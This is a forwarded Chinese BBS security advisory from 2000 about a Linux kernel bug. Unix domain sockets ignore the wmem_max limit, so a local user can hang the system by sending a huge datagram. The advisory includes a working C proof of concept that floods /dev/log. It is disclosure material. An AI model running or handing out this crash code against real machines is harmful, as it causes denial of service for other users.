荔园在线
荔园之美,在春之萌芽,在夏之绽放,在秋之收获,在冬之沉淀
[回到开始]
[上一篇][下一篇]
发信人: Pazu (质变), 信区: Linux
标 题: Linux 本地拒绝服务攻击导致内核崩溃(转寄)
发信站: BBS 荔园晨风站 (Wed Apr 5 12:33:56 2000), 转信
【 以下文字转载自 Pazu 的信箱 】
【 原文由 Pazu.bbs@smth.org 所发表 】
发信人: cybergene (活泼的基因), 信区: Linux
标 题: Linux 本地拒绝服务攻击导致内核崩溃(转寄)
发信站: BBS 水木清华站 (Mon Mar 27 17:25:41 2000)
Linux 本地拒绝服务攻击导致内核崩溃
发布日期: 2000-3-26
更新日期: 2000-3-27
受影响的系统:
Linux kernel 2.2.12
2.2.14
2.3.99-pre2
不受影响系统: linux kernel 2.2.14 + Solar Designer's kernel patch
描述:
------------------------------------------------------------------------
--------
Linux的unix域名套接字没有考虑/proc/sys/net/core/wmem_max的参数的限制,本
地普通
用户可以通过向某个套接字传送大量数据,导致Linux内核分配内存空间时出错,
系统停止
响应。必须重新启动系统。
<* 来源:Jay Fenlason (fenlason@CLEARWAY.COM) *>
测试程序:
------------------------------------------------------------------------
--------
警 告
以下程序(方法)可能带有攻击性,仅供安全研究与教学之用。使用者风险自负!
#include <sys/types.h>
#include <sys/socket.h>
#include <string.h>
char buf[128 * 1024];
int main ( int argc, char **argv )
{
struct sockaddr SyslogAddr;
int LogFile;
int bufsize = sizeof(buf)-5;
int i;
for ( i = 0; i < bufsize; i++ )
buf[i] = ' '+(i%95);
buf[i] = '\0';
SyslogAddr.sa_family = AF_UNIX;
strncpy ( SyslogAddr.sa_data, "/dev/log", sizeof(SyslogAddr.sa_data)
);
LogFile = socket ( AF_UNIX, SOCK_DGRAM, 0 );
sendto ( LogFile, buf, bufsize, 0, &SyslogAddr, sizeof(SyslogAddr)
);
return 0;
}
------------------------------------------------------------------------
--------
建议:
暂无
绿色兵团翻译整理,未经许可,不得转载
欢迎访问我们的站点http://www.isbase.com/
绿色兵团给您安全的保障
--
********************************************************************
I think, therefore I am......
********************************************************************
Welcome to DNA Studio: http://dnastudio.dhs.org
new software, navupdate, wallpapers, mp3z, linux, forums......
※ 来源:·BBS 水木清华站 smth.org·[FROM: 202.112.85.250]
--
※ 转载:·BBS 荔园晨风站 bbs.szu.edu.cn·[FROM: 192.168.0.189]
[回到开始]
[上一篇][下一篇]
荔园在线首页 友情链接:深圳大学 深大招生 荔园晨风BBS S-Term软件 网络书店